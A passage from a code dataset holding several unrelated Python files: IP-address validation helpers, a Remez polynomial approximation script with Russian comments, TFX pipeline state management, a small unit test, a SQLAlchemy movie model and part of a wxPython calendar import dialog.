dt_with_tz.tzinfo.utcoffset(dt_with_tz)\n result = dt_with_tz + offset\n return result.replace(tzinfo=None)\n\n\ndef is_valid_ipv4_address(address):\n \"\"\"Check if the address supplied is a valid IPv4 address.\"\"\"\n try:\n socket.inet_pton(socket.AF_INET, address)\n except AttributeError: # no inet_pton here, sorry\n try:\n socket.inet_aton(address)\n except socket.error:\n return False\n return address.count('.') == 3\n except socket.error: # not a valid address\n return False\n return True\n\n\ndef is_valid_ipv6_address(address):\n \"\"\"Check if the address supplied is a valid IPv6 address.\"\"\"\n try:\n socket.inet_pton(socket.AF_INET6, address)\n except socket.error: # not a valid address\n return False\n return True\n\n\ndef is_valid_ip_address(address):\n \"\"\"Check if the address supplied is a valid IP address.\"\"\"\n return is_valid_ipv4_address(address) or is_valid_ipv6_address(address)\n\n\ndef get_local_ips():\n \"\"\"Return local ipaddress(es).\"\"\"\n # pylint: disable=W0703\n list1 = []\n list2 = []\n defaults = [\"127.0.0.1\", r\"fe80::1%lo0\"]\n\n hostname = None\n try:\n hostname = socket.gethostname()\n except Exception as exc:\n LOG.debug(\"Error in gethostbyname_ex: %s\", exc)\n\n try:\n _, _, addresses = socket.gethostbyname_ex(hostname)\n list1 = [ip for ip in addresses]\n except Exception as exc:\n LOG.debug(\"Error in gethostbyname_ex: %s\", exc)\n\n try:\n list2 = [info[4][0] for info in socket.getaddrinfo(hostname, None)]\n except Exception as exc:\n LOG.debug(\"Error in getaddrinfo: %s\", exc)\n\n return list(set(list1 + list2 + defaults))\n","sub_path":"satori/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4386,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"97768672","text":"import numpy as np\nimport math\nimport matplotlib.pyplot as plt\nimport pandas as pd\nimport random\nfrom fpdf import FPDF\n'''\nАлгоритм Ремеза:\n- принимает степень аппроксимирующей функции\n- возвращает максимальное отклонение на интервале приближения\n- x_equiv - необязательный аргумент, передает количество равноудаленных узлов\n'''\n\nfunctions = {\n # Периодические функции\n '1': lambda x: math.sin(x),\n '2': lambda x: math.sin(2.5*math.cos(x)),\n '3': lambda x: math.sin(x)*math.cos(x),\n '4': lambda x: math.cos(4*math.sin(x)),\n '5': lambda x: math.exp(math.sin(x)),\n # Монотонные функции\n '6': lambda x: math.exp(x),\n '7': lambda x: math.sinh(x),\n '8': lambda x: math.atan(x),\n # '9': lambda x: x**3,\n # '10': lambda x: x**7+3*x**5+2*x-1,\n '11': lambda x: math.log(x+3),\n # Дробно-рациональные функции\n '12': lambda x: 1/(x**2+1),\n '13': lambda x: (x**5+x**3+x)/(x**6+x**2+3),\n '14': lambda x: 1/(1+x+x**2),\n # '15': lambda x: math.sin(x)/x, '''Избегать нуля! '''\n '16': lambda x: math.sin(x)/(x**2+1),\n '17': lambda x: (x**2+2)/(x**2+1),\n '18': lambda x: math.exp(-(x-1)**2/(2*.5**2)),\n \n '19': lambda x: max(math.sin(20*x), math.exp(x-1)),\n '21': lambda x: math.tanh(x+0.5) - math.tanh(x-0.5),\n '22': lambda x: 1 - math.sin(5*abs(x - 0.5)),\n '23': lambda x: math.log(1.001 + x),\n '25': lambda x: x**3 + (x**(1/3.0)*math.exp(-x**2))/8, \n '26': lambda x: (100*math.pi*(x**2-0.36))/(math.sinh(100*math.pi*(x**2-0.36))), \n '27': lambda x: abs(x)*math.sqrt(abs(x)),\n '28': lambda x: (100*math.pi*(x**2-0.36))/(math.sinh(100*math.pi*(x**2-0.36)))\n}\n\n\ndef Remez(n, formula, x_equiv=None):\n\n print('Степень многочлена n: ', n)\n x = np.array([], dtype='float32')\n y = np.array([], dtype='float32')\n a = -1\n b = 1\n N = n+1\n if x_equiv is None:\n a_matr = np.zeros((n+2, n+2), dtype='float32')\n m = np.zeros(n+2, dtype='float32')\n iter_n = 0\n Error = 1\n delta = 1e-15\n\n def func(x, formula):\n return formula(x)\n\n if x_equiv is None:\n # Узлы Чебышева\n for i in range(n+2):\n x = np.append(x, (a+b)/2+(b-a)/2*math.cos((math.pi*(n+1-i)/(n+1))))\n y = np.append(y, \n func((a+b)/2+(b-a)/2*math.cos((math.pi*(n+1-i)/(n+1))),\n formula))\n else:\n # Равноудаленные узлы\n x = np.linspace(a, b, x_equiv)\n y = [func(i, formula) for i in x]\n n = x_equiv-2\n a_matr = np.zeros((n+2, n+2))\n m = np.zeros(n+2)\n print(n, 'n')\n\n max_E_prev = 0\n local_max_prev = 0\n local_min_prev = 0\n max_E_1_prev = 0\n min_E_1_prev = 0\n\n while Error > delta:\n print(x, 'Начальные точки x')\n print(y, 'Начальные точки y')\n for i in range(len(x)):\n m[i] = func(x[i], formula)\n for j in range(len(x)):\n a_matr[i][j] = x[i]**j\n a_matr[i][len(x)-1] = (-1)**i\n\n # print(a_matr, 'матрица')\n b_coeff_E = np.float32()\n b_coeff_E = np.linalg.solve(a_matr, m) # Находим коэффициенты b и E\n print(np.linalg.solve(a_matr, m))\n b_coeff = np.zeros(len(x), dtype='float32')\n for i in range(len(x)):\n b_coeff[i] = b_coeff_E[i]\n\n # print(b_coeff)\n print('NNNN ', n, 'l_x', len(x))\n\n def b_res(X, b_coeff):\n sum = np.float32(0.0)\n for i in range(n+1):\n sum += X**i*b_coeff[i]\n return sum\n\n xnew = np.linspace(a, b, 5000)\n y_func = [func(i, formula) for i in xnew] # Значение функции\n # Построение интерполянта Лагрнжа по n-1 точкам\n ynew = [b_res(i, b_coeff) for i in xnew]\n y_diff = [b_res(i, b_coeff)-func(i, formula)\n for i in xnew] # Разница между Лагранжом и функцией\n\n # Поиск экстремумов\n s = pd.Series(y_diff)\n grp = s.groupby((np.sign(s).diff().fillna(0).ne(0)).cumsum())\n extremums_y_n = grp.apply(\n lambda x: x.abs().max()*np.sign(x[x.abs().idxmax()]))\n extremums_y = []\n print(len(extremums_y_n))\n for i in range(len(extremums_y_n)):\n # print(i)\n if extremums_y_n.iloc[i] != 0:\n extremums_y.append(extremums_y_n[i])\n\n print(extremums_y, 'Экстремумы y')\n print('----------------')\n extremums_x = []\n it = 0\n for i in xnew:\n if b_res(i, b_coeff)-func(i, formula) == extremums_y[it]:\n extremums_x.append(i)\n # print(it,' ',len(extremums_y),' ',extremums_y[it])\n if it != (len(extremums_y)-1):\n it += 1\n else:\n break\n\n print(extremums_x, 'Экстремумы x')\n print('----------------')\n # '''\n\n extremums_y_p = []\n extremums_y_n = []\n extremums_x_p = []\n extremums_x_n = []\n\n for i in range(len(extremums_y)):\n if extremums_y[i] > 0:\n extremums_y_p.append(extremums_y[i])\n extremums_x_p.append(extremums_x[i])\n else:\n extremums_y_n.append(extremums_y[i])\n extremums_x_n.append(extremums_x[i])\n\n min_E = np.float32(1000000)\n max_E = np.float32(0)\n local_max = 0\n local_min = 0\n max_E_1 = np.float32(0)\n min_E_1 = np.float32(0)\n\n \n for i in range(len(extremums_y)):\n # print(extremums_y[i],' ',max_E)\n if math.fabs(extremums_y[i]) > max_E:\n max_E = math.fabs(extremums_y[i])\n local_max = i\n if extremums_y[i] < 0:\n max_E_1 = max_E*(-1)\n else:\n max_E_1 = max_E\n\n for i in range(len(extremums_y)):\n # print(extremums_y[i],' ',min_E)\n if math.fabs(extremums_y[i]) < min_E:\n min_E = math.fabs(extremums_y[i])\n local_min = i\n if extremums_y[i] < 0:\n min_E_1 = min_E*(-1)\n else:\n min_E_1 = min_E\n '''\n if(len(extremums_y)max_E:\n max_E=math.fabs(extremums_y[i])\n local_max = i\n if extremums_y[i] < 0:\n max_E_1 = max_E*(-1)\n else:\n max_E_1 = max_E\n\n for i in range(len(extremums_y)):\n #print(extremums_y[i],' ',min_E)\n if math.fabs(extremums_y[i]) len(x)+2:\n print(\"Method error\")\n # break\n else:\n x[local_max] = extremums_x[local_max]\n\n # '''\n # for i in range(n+2):\n # x[i] = extremums_x[i]\n print(\"==========================\")\n print(\"Конец итерации номер \", iter_n+1)\n print(\"==========================\")\n iter_n += 1\n\n if(iter_n > 51):\n print('Лучший результат за 50 итераций:', Error)\n plt.figure(iter_n)\n plt.plot(xnew, y_diff, extremums_x, extremums_y, 'o', extremums_x_p,\n extremums_y_p, '--', extremums_x_n, extremums_y_n, '--')\n plt.grid()\n plt.figure(iter_n+1)\n plt.plot(xnew, y_func, label='f(x)')\n plt.plot(xnew, ynew, label='g(x)')\n plt.legend(loc='center left', fontsize='x-small')\n plt.grid()\n break\n plt.figure(iter_n)\n plt.plot(xnew, y_diff, label='Error function')\n plt.plot(extremums_x_p,\n extremums_y_p, '--', extremums_x_n, extremums_y_n, '--')\n plt.plot(extremums_x, extremums_y, 'o', label='extremums')\n plt.legend(loc='center left', fontsize='x-small')\n plt.grid()\n if(max_E_prev == max_E and local_max_prev == local_max and\n local_min_prev == local_min and max_E_1_prev == max_E_1 and\n min_E_1_prev == min_E_1):\n print(\"Совпадение с предидущими значениями\")\n print('Максимальное отклонение:', Error)\n plt.figure(iter_n+1)\n plt.plot(xnew, y_func, label='f(x)')\n plt.plot(xnew, ynew, label='g(x)')\n plt.legend(loc='center left', fontsize='x-small')\n plt.grid()\n break\n \n\n max_E_prev = max_E\n local_max_prev = local_max\n local_min_prev = local_min\n max_E_1_prev = max_E_1\n min_E_1_prev = min_E_1\n if(Error < delta):\n print('Лучший результат за ', iter_n, ' итераций:', Error)\n plt.figure(iter_n+1)\n plt.plot(xnew, y_func, label='f(x)')\n plt.plot(xnew, ynew, label='g(x)')\n plt.legend(loc='center left', fontsize='x-small')\n plt.grid()\n\n\n print('Коэффициенты многочлена наилучшего приближения')\n for i in range(n+1):\n print(b_coeff[i], 'x^', i, end=' ')\n print()\n print('Максимальное отклонение:', max(extremums_y))\n return max(extremums_y)\n\n\n# -----------------------------------------------------------------------------#\n# Конец алгоритма Ремеза\n# -----------------------------------------------------------------------------#\nbest_result_max = 1000\n'''\nfor key in functions:\n for i in range(19, 21):\n best_result = Remez(i, functions[key])\n if best_result < best_result_max:\n best_result_max = best_result\n n_degree = i\n print()\n plt.show()\n pdf.cell(200, 8, txt=\"-----------------------------\", ln=1, align=\"C\")\nprint('Best result: ', best_result_max,\n 'in order of polynom degree ', n_degree)\n# print('Function Key: ', key)\npdf.cell(200, 8, txt=\"Best result: \" + str(best_result_max) +\n \" in order of poly degree \" + str(n_degree), ln=1, align=\"L\")\n\n'''\n\nfor i in range(13,35):\n best_result=Remez(i, lambda x: (100*math.pi*(x**2-0.36))/(math.sinh(100*math.pi*(x**2-0.36))))\n if best_result 'PipelineState':\n \"\"\"Creates a `PipelineState` object for a new pipeline.\n\n No active pipeline with the same pipeline uid should exist for the call to\n be successful.\n\n Args:\n mlmd_handle: A handle to the MLMD db.\n pipeline: IR of the pipeline.\n\n Returns:\n A `PipelineState` object.\n\n Raises:\n status_lib.StatusNotOkError: If a pipeline with same UID already exists.\n \"\"\"\n pipeline_uid = task_lib.PipelineUid.from_pipeline(pipeline)\n context = context_lib.register_context_if_not_exists(\n mlmd_handle,\n context_type_name=_ORCHESTRATOR_RESERVED_ID,\n context_name=orchestrator_context_name(pipeline_uid))\n\n executions = mlmd_handle.store.get_executions_by_context(context.id)\n if any(e for e in executions if execution_lib.is_execution_active(e)):\n raise status_lib.StatusNotOkError(\n code=status_lib.Code.ALREADY_EXISTS,\n message=f'Pipeline with uid {pipeline_uid} already active.')\n\n execution = execution_lib.prepare_execution(\n mlmd_handle,\n _ORCHESTRATOR_EXECUTION_TYPE,\n metadata_store_pb2.Execution.NEW,\n exec_properties={\n _PIPELINE_IR:\n base64.b64encode(pipeline.SerializeToString()).decode('utf-8')\n })\n\n return cls(\n mlmd_handle=mlmd_handle,\n pipeline_uid=pipeline_uid,\n context=context,\n execution=execution,\n commit=True)\n\n @classmethod\n def load(cls, mlmd_handle: metadata.Metadata,\n pipeline_uid: task_lib.PipelineUid) -> 'PipelineState':\n \"\"\"Loads pipeline state from MLMD.\n\n Args:\n mlmd_handle: A handle to the MLMD db.\n pipeline_uid: Uid of the pipeline state to load.\n\n Returns:\n A `PipelineState` object.\n\n Raises:\n status_lib.StatusNotOkError: With code=NOT_FOUND if no active pipeline\n with the given pipeline uid exists in MLMD. With code=INTERNAL if more\n than 1 active execution exists for given pipeline uid.\n \"\"\"\n context = mlmd_handle.store.get_context_by_type_and_name(\n type_name=_ORCHESTRATOR_RESERVED_ID,\n context_name=orchestrator_context_name(pipeline_uid))\n if not context:\n raise status_lib.StatusNotOkError(\n code=status_lib.Code.NOT_FOUND,\n message=f'No active pipeline with uid {pipeline_uid} found.')\n return cls.load_from_orchestrator_context(mlmd_handle, context)\n\n @classmethod\n def load_from_orchestrator_context(\n cls, mlmd_handle: metadata.Metadata,\n context: metadata_store_pb2.Context) -> 'PipelineState':\n \"\"\"Loads pipeline state for active pipeline under given orchestrator context.\n\n Args:\n mlmd_handle: A handle to the MLMD db.\n context: Pipeline context under which to find the pipeline execution.\n\n Returns:\n A `PipelineState` object.\n\n Raises:\n status_lib.StatusNotOkError: With code=NOT_FOUND if no active pipeline\n with the given pipeline uid exists in MLMD. With code=INTERNAL if more\n than 1 active execution exists for given pipeline uid.\n \"\"\"\n pipeline_uid = pipeline_uid_from_orchestrator_context(context)\n active_executions = [\n e for e in mlmd_handle.store.get_executions_by_context(context.id)\n if execution_lib.is_execution_active(e)\n ]\n if not active_executions:\n raise status_lib.StatusNotOkError(\n code=status_lib.Code.NOT_FOUND,\n message=f'No active pipeline with uid {pipeline_uid} to load.')\n if len(active_executions) > 1:\n raise status_lib.StatusNotOkError(\n code=status_lib.Code.INTERNAL,\n message=(\n f'Expected 1 but found {len(active_executions)} active pipeline '\n f'executions for pipeline uid: {pipeline_uid}'))\n\n return cls(\n mlmd_handle=mlmd_handle,\n pipeline_uid=pipeline_uid,\n context=context,\n execution=active_executions[0],\n commit=False)\n\n @property\n def pipeline(self) -> pipeline_pb2.Pipeline:\n if not self._pipeline:\n pipeline_ir_b64 = data_types_utils.get_metadata_value(\n self.execution.properties[_PIPELINE_IR])\n pipeline = pipeline_pb2.Pipeline()\n pipeline.ParseFromString(base64.b64decode(pipeline_ir_b64))\n self._pipeline = pipeline\n return self._pipeline\n\n def initiate_stop(self):\n \"\"\"Updates pipeline state to signal stopping pipeline execution.\"\"\"\n data_types_utils.set_metadata_value(\n self.execution.custom_properties[_STOP_INITIATED], 1)\n self._commit = True\n\n def is_stop_initiated(self):\n \"\"\"Returns `True` if pipeline execution stopping has been initiated.\"\"\"\n if _STOP_INITIATED in self.execution.custom_properties:\n return data_types_utils.get_metadata_value(\n self.execution.custom_properties[_STOP_INITIATED]) == 1\n return False\n\n def commit(self) -> None:\n \"\"\"Commits pipeline state to MLMD if there are any mutations.\"\"\"\n if self._commit:\n self.execution = execution_lib.put_execution(self.mlmd_handle,\n self.execution,\n [self.context])\n logging.info('Committed execution (id: %s) for pipeline with uid: %s',\n self.execution.id, self.pipeline_uid)\n self._commit = False\n\n def __enter__(self) -> 'PipelineState':\n return self\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n self.commit()\n\n\ndef get_orchestrator_contexts(\n mlmd_handle: metadata.Metadata) -> List[metadata_store_pb2.Context]:\n return mlmd_handle.store.get_contexts_by_type(_ORCHESTRATOR_RESERVED_ID)\n\n\n# TODO(goutham): Handle sync pipelines.\ndef orchestrator_context_name(pipeline_uid: task_lib.PipelineUid) -> str:\n \"\"\"Returns orchestrator reserved context name.\"\"\"\n return f'{_ORCHESTRATOR_RESERVED_ID}_{pipeline_uid.pipeline_id}'\n\n\n# TODO(goutham): Handle sync pipelines.\ndef pipeline_uid_from_orchestrator_context(\n context: metadata_store_pb2.Context) -> task_lib.PipelineUid:\n \"\"\"Returns pipeline uid from orchestrator reserved context.\"\"\"\n pipeline_id = context.name.split(_ORCHESTRATOR_RESERVED_ID + '_')[1]\n return task_lib.PipelineUid(pipeline_id=pipeline_id, pipeline_run_id=None)\n","sub_path":"tfx/orchestration/experimental/core/pipeline_state.py","file_name":"pipeline_state.py","file_ext":"py","file_size_in_byte":8359,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"482705690","text":"__author__ = 'tinglev@kth.se'\n\nimport unittest\nimport mock\nfrom modules.steps.get_cache_entry import GetCacheEntry\nfrom modules.util import data_defs, redis\n\nclass TestGetCacheEntry(unittest.TestCase):\n\n def test_run_step(self):\n step = GetCacheEntry()\n redis.get_client = mock.Mock()\n redis.execute_json_get = mock.Mock(return_value={'TEST': 'VALUE'})\n pipeline_data = {data_defs.STACK_FILE_PATH: 'random/path/to/file'}\n pipeline_data = step.run_step(pipeline_data)\n self.assertEqual(pipeline_data[data_defs.CACHE_ENTRY], {'TEST': 'VALUE'})\n redis.execute_json_get = mock.Mock(return_value=None)\n pipeline_data = step.run_step(pipeline_data)\n self.assertIsNone(pipeline_data[data_defs.CACHE_ENTRY])\n","sub_path":"test/unit/test_get_cache_entry.py","file_name":"test_get_cache_entry.py","file_ext":"py","file_size_in_byte":766,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"344949956","text":"import application\n\ndb = application.db\nma = application.ma\n\n\nclass Movie(db.Model):\n\n __tablename__ = 'movies'\n id = db.Column(db.Integer, primary_key=True, autoincrement=True)\n\n title = db.Column(db.String(20))\n year = db.Column(db.SmallInteger)\n description = db.Column(db.String(100))\n characters = db.Column(db.String(100))\n\n def __init__(self, id=None, title=None, year=None, description=None, characters=None):\n self.id = id\n self.title = title\n self.year = year\n self.description = description\n self.characters = characters\n","sub_path":"source/models/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":588,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"109023066","text":"\"Common stuff for the Calendar Import functions\"\nimport calendar\nimport copy\nimport datetime\nimport sys\nimport wx\nimport wx.calendar\nimport wx.lib.mixins.listctrl as listmix\nimport database\nimport guiwidgets\nimport pubsub\nno_end_date=(4000, 1, 1, 0, 0)\ndef bp_repeat_str(dict, v):\n if v is None:\n return ''\n return v\ndef bp_date_str(dict, v):\n try:\n if v[0]>=no_end_date[0]:\n if dict.get('allday', False):\n return ''\n else:\n return '%02d:%02d'%v[3:]\n if dict.get('allday', False):\n return '%04d-%02d-%02d'%v[:3]\n else:\n return '%04d-%02d-%02d %02d:%02d'% v\n except (ValueError, TypeError):\n return ''\n except:\n if __debug__: raise\n return ''\ndef bp_alarm_str(dict, v):\n try:\n if dict.get('alarm', False):\n v=dict.get('alarm_value', 0)\n if v:\n return '-%d min'%v\n else:\n return 'Ontime'\n else:\n return ''\n except (ValueError, TypeError):\n return ''\n except:\n if __debug__: raise\n return ''\ndef category_str(dict, v):\n try:\n s=''\n for d in v:\n if len(d):\n if len(s):\n s+=', '+d\n else:\n s=d\n return s\n except (ValueError, TypeError):\n return ''\n except:\n if __debug__: raise\n return ''\nclass PreviewDialog(wx.Dialog, listmix.ColumnSorterMixin):\n def __init__(self, parent, id, title, col_labels, data={},\n config_name=None,\n style=wx.CAPTION|wx.MAXIMIZE_BOX| \\\n wx.SYSTEM_MENU|wx.DEFAULT_DIALOG_STYLE|wx.RESIZE_BORDER):\n wx.Dialog.__init__(self, parent, id=id, title=title, style=style)\n self.__col_labels=col_labels\n self.__config_name=config_name\n self.itemDataMap={}\n main_bs=wx.BoxSizer(wx.VERTICAL)\n self.getcontrols(main_bs)\n self.__list=wx.ListView(self, wx.NewId())\n self.__image_list=wx.ImageList(16, 16)\n self.__ig_up=self.__image_list.Add(wx.ArtProvider_GetBitmap(wx.ART_GO_UP,\n wx.ART_OTHER,\n (16, 16)))\n self.__ig_dn=self.__image_list.Add(wx.ArtProvider_GetBitmap(wx.ART_GO_DOWN,\n wx.ART_OTHER,\n (16, 16)))\n self.__list.SetImageList(self.__image_list, wx.IMAGE_LIST_SMALL)\n li=wx.ListItem()\n li.m_mask=wx.LIST_MASK_TEXT | wx.LIST_MASK_IMAGE\n li.m_image=-1\n for i, d in enumerate(self.__col_labels):\n li.m_text=d[1]\n self.__list.InsertColumnInfo(i, li)\n self.__list.SetColumnWidth(i, d[2])\n main_bs.Add(self.__list, 1, wx.EXPAND, 0)\n self.populate(data)\n listmix.ColumnSorterMixin.__init__(self, len(col_labels))\n self.getpostcontrols(main_bs)\n self.SetSizer(main_bs)\n self.SetAutoLayout(True)\n main_bs.Fit(self)\n if config_name is not None:\n guiwidgets.set_size(config_name, self)\n wx.EVT_SIZE(self, self.__save_size)\n def getcontrols(self, main_bs):\n pass\n def getpostcontrols(self, main_bs):\n main_bs.Add(wx.StaticLine(self, -1), 0, wx.EXPAND|wx.TOP|wx.BOTTOM, 5)\n main_bs.Add(self.CreateButtonSizer(wx.OK|wx.CANCEL), 0, wx.ALIGN_CENTRE|wx.ALL, 5)\n def populate(self, data):\n self.__list.DeleteAllItems()\n m={}\n m_count=0\n for k in data:\n try:\n d=data[k]\n col_idx=None\n mm={}\n for i, l in enumerate(self.__col_labels):\n entry=d.get(l[0], None)\n s=''\n if l[3] is None:\n s=str(entry)\n else:\n s=l[3](d, entry)\n mm[i]=s\n if i:\n self.__list.SetStringItem(col_idx, i, s)\n else:\n col_idx=self.__list.InsertImageStringItem(sys.maxint, s, -1)\n self.__list.SetItemData(col_idx, m_count)\n m[m_count]=mm\n m_count += 1\n except:\n if __debug__: raise\n self.itemDataMap=m\n def GetListCtrl(self):\n return self.__list\n def GetSortImages(self):\n return (self.__ig_dn, self.__ig_up)\n def __save_size(self, evt):\n if self.__config_name is not None:\n guiwidgets.save_size(self.__config_name, self.GetRect())\n evt.Skip()\nclass FilterDataObject(database.basedataobject):\n _knownproperties=['rpt_events', 'no_alarm', 'alarm_override',\n 'ringtone', 'vibrate', 'alarm_value',\n 'preset_date' ]\n _knownlistproperties=database.basedataobject._knownlistproperties.copy()\n _knownlistproperties.update( {'categories': ['category'],\n 'start': ['year', 'month', 'day'],\n 'end': ['year', 'month', 'day'] })\n def __init__(self, data=None):\n if data:\n self.update(data)\nfilterobjectfactory=database.dataobjectfactory(FilterDataObject)\nclass FilterDialogBase(wx.Dialog):\n unnamed=\"Select:\"\n def __init__(self, parent, id, caption, categories, style=wx.DEFAULT_DIALOG_STYLE):\n wx.Dialog.__init__(self, parent, id,\n title=caption, style=style)\n bs=wx.BoxSizer(wx.VERTICAL)\n main_fgs=wx.FlexGridSizer(0, 1, 0, 0)\n fgs=wx.FlexGridSizer(3, 2, 0, 5)\n fgs1=wx.FlexGridSizer(0, 1, 0, 0)\n fgs2=wx.FlexGridSizer(0, 2, 0, 5)\n self.SetDateControls(fgs, fgs1)\n self._rpt_chkbox=wx.CheckBox(self, id=wx.NewId(), label='Repeat Events:',\n style=wx.ALIGN_RIGHT)\n self._rpt_chkbox.Disable()\n fgs.Add(self._rpt_chkbox, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n self._rpt_chkbox_text=wx.StaticText(self, -1, 'Import as multi-single events.')\n fgs.Add(self._rpt_chkbox_text, 0, wx.ALIGN_LEFT|wx.ALIGN_CENTRE, 0)\n self._rpt_chkbox_text.Disable()\n choices=('Disable All Alarms', 'Use Alarm Settings From Calender', \n 'Set Alarm On All Events') \n self.__alarm_setting = wx.RadioBox(self, id=wx.NewId(),\n label=\"Select Alarm Settings For Imported Events\",\n choices=choices,\n majorDimension=1,\n size=(280,-1))\n fgs1.Add(self.__alarm_setting, 0, wx.ALIGN_CENTRE|wx.TOP|wx.BOTTOM, 5)\n self.__vibrate=wx.CheckBox(self, id=wx.NewId(), label='Alarm Vibrate:',\n style=wx.ALIGN_RIGHT)\n fgs2.Add(self.__vibrate, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n self.__vibrate_text=wx.StaticText(self, -1, 'Enable vibrate for alarms.')\n fgs2.Add(self.__vibrate_text, 0, wx.ALIGN_LEFT|wx.TOP|wx.BOTTOM, 5)\n self.__ringtone_text=wx.StaticText(self, -1, 'Alarm Ringtone:')\n fgs2.Add(self.__ringtone_text, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n self.__ringtone=wx.ComboBox(self, id=wx.NewId(),\n style=wx.CB_DROPDOWN|wx.CB_READONLY,\n choices=[self.unnamed], size=(160,-1))\n fgs2.Add(self.__ringtone, 0, wx.ALIGN_LEFT|wx.TOP|wx.BOTTOM, 2)\n self.__alarm_value_text=wx.StaticText(self, -1, 'Alert before (mins):')\n fgs2.Add(self.__alarm_value_text, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n self.__alarm_value=wx.lib.intctrl.IntCtrl(self, id=wx.NewId(), size=(50,-1), \n value=0, min=0, max=1000)\n fgs2.Add( self.__alarm_value, 0, wx.ALIGN_LEFT|wx.TOP|wx.BOTTOM, 2)\n self.__cat_chkbox=wx.CheckBox(self, id=wx.NewId(), label='Categories:',\n style=wx.ALIGN_RIGHT)\n fgs2.Add(self.__cat_chkbox, 0, wx.ALIGN_RIGHT|wx.TOP|wx.BOTTOM, 5)\n for i,c in enumerate(categories):\n if not len(c):\n categories[i]=''\n self.__cats=wx.CheckListBox(self, choices=categories, size=(160, 50))\n self.__cats.Disable()\n fgs2.Add(self.__cats, 0, wx.ALIGN_LEFT, 0)\n main_fgs.Add(fgs, 1, wx.EXPAND|wx.ALL, 0)\n main_fgs.Add(fgs1, 1, wx.EXPAND|wx.ALL, 0)\n main_fgs.Add(fgs2, 1, wx.EXPAND|wx.ALL, 0)\n bs.Add(main_fgs, 1, wx.EXPAND|wx.ALL, 5)\n bs.Add(wx.StaticLine(self, -1), 0, wx.EXPAND|wx.TOP|wx.BOTTOM, 5)\n bs.Add(self.CreateButtonSizer(wx.OK|wx.CANCEL), 0, wx.ALIGN_CENTRE|wx.ALL, 5)\n wx.EVT_CHECKBOX(self, self._start_date_chkbox.GetId(), self.OnCheckBox)\n wx.EVT_CHECKBOX(self, self._end_date_chkbox.GetId(), self.OnCheckBox)\n wx.EVT_CHECKBOX(self, self.__cat_chkbox.GetId(), self.OnCheckBox)\n wx.EVT_RADIOBOX(self, self.__alarm_setting.GetId(), self.OnAlarmSetting)\n self.SetSizer(bs)\n self.SetAutoLayout(True)\n bs.Fit(self)\n def ShowModal(self):\n pubsub.subscribe(self.OnRingtoneUpdates, pubsub.ALL_RINGTONES)\n wx.CallAfter(pubsub.publish, pubsub.REQUEST_RINGTONES) # make the call once we are onscreen\n return wx.Dialog.ShowModal(self)\n def OnRingtoneUpdates(self, msg):\n \"Receives pubsub message with ringtone list\"\n tones=msg.data[:]\n try:\n self.__ringtone.Clear()\n self.__ringtone.Append(self.unnamed)\n for p in tones:\n self.__ringtone.Append(p)\n rt=self.__ringtone.SetStringSelection(self.ringtone)\n except:\n self.ringtone=self.unnamed\n def __set_cats(self, chk_box, c, data):\n if data is None:\n chk_box.SetValue(False)\n c.Disable()\n else:\n chk_box.SetValue(True)\n c.Enable()\n for i,d in enumerate(data):\n if not len(d):\n data[i]=''\n for i in range(c.GetCount()):\n c.Check(i, c.GetString(i) in data)\n def __set_rpt(self, data):\n if self._start_date_chkbox.GetValue() and\\\n self._end_date_chkbox.GetValue():\n self._rpt_chkbox.Enable()\n self._rpt_chkbox_text.Enable()\n self._rpt_chkbox.SetValue(data)\n else:\n self._rpt_chkbox.SetValue(False)\n self._rpt_chkbox.Disable()\n self._rpt_chkbox_text.Disable()\n def __set_alarm_fields(self, value):\n if value==0:\n self.__vibrate.Disable()\n self.__alarm_value.Disable()\n self.__ringtone.Disable()\n self.__vibrate_text.Disable()\n self.__alarm_value_text.Disable()\n self.__ringtone_text.Disable()\n elif value==1:\n self.__vibrate.Enable()\n self.__alarm_value.Disable()\n self.__ringtone.Enable()\n self.__vibrate_text.Enable()\n self.__alarm_value_text.Disable()\n self.__ringtone_text.Enable()\n else:\n self.__vibrate.Enable()\n self.__alarm_value.Enable()\n self.__ringtone.Enable()\n self.__vibrate_text.Enable()\n self.__alarm_value_text.Enable()\n self.__ringtone_text.Enable()\n def set_base(self, data):\n self.__set_rpt(data.get('rpt_events', False))\n no_alarm=data.get('no_alarm', False)\n alarm_override=data.get('alarm_override', False)\n if no_alarm:\n value=0\n elif alarm_override:\n value=2\n else:\n value=1\n self.__set_alarm_fields(value)\n self.__alarm_setting.SetSelection(value)\n self.ringtone=data.get('ringtone', self.unnamed)\n try:\n self.__ringtone.SetStringSelection(ringtone)\n except:\n self.__ringtone.SetStringSelection(self.unnamed)\n value=data.get('vibrate', False);\n self.__vibrate.SetValue(value)\n self.__alarm_value.SetValue(data.get('alarm_value', 0))\n self.__set_cats(self.__cat_chkbox, self.__cats, data.get('categories', None))\n def get_base(self, r):\n r['rpt_events']=self._rpt_chkbox.GetValue()\n value=self.__alarm_setting.GetSelection()\n if value==0:\n r['no_alarm']=True\n r['alarm_override']=False\n elif value==1:\n r['no_alarm']=False\n r['alarm_override']=False\n else:\n r['no_alarm']=False\n r['alarm_override']=True\n r['ringtone']=self.__ringtone.GetStringSelection()\n r['vibrate']=self.__vibrate.GetValue()\n r['alarm_value']=self.__alarm_value.GetValue()\n if self.__cat_chkbox.GetValue():\n c=[]\n for i in range(self.__cats.GetCount()):\n if self.__cats.IsChecked(i):\n s=self.__cats.GetString(i)\n if s=='':\n c.append('')\n else:\n c.append(s)\n r['categories']=c\n else:\n r['categories']=None\n return\n def OnAlarmSetting(self, _):\n self.__set_alarm_fields(self.__alarm_setting.GetSelection())\n def _repeat_option(self, on=True):\n if on:\n self._rpt_chkbox.Enable()\n self._rpt_chkbox_text.Enable()\n else:\n self._rpt_chkbox.SetValue(False)\n self._rpt_chkbox.Disable()\n self._rpt_chkbox_text.Disable()\n def OnCheckBox(self, evt):\n 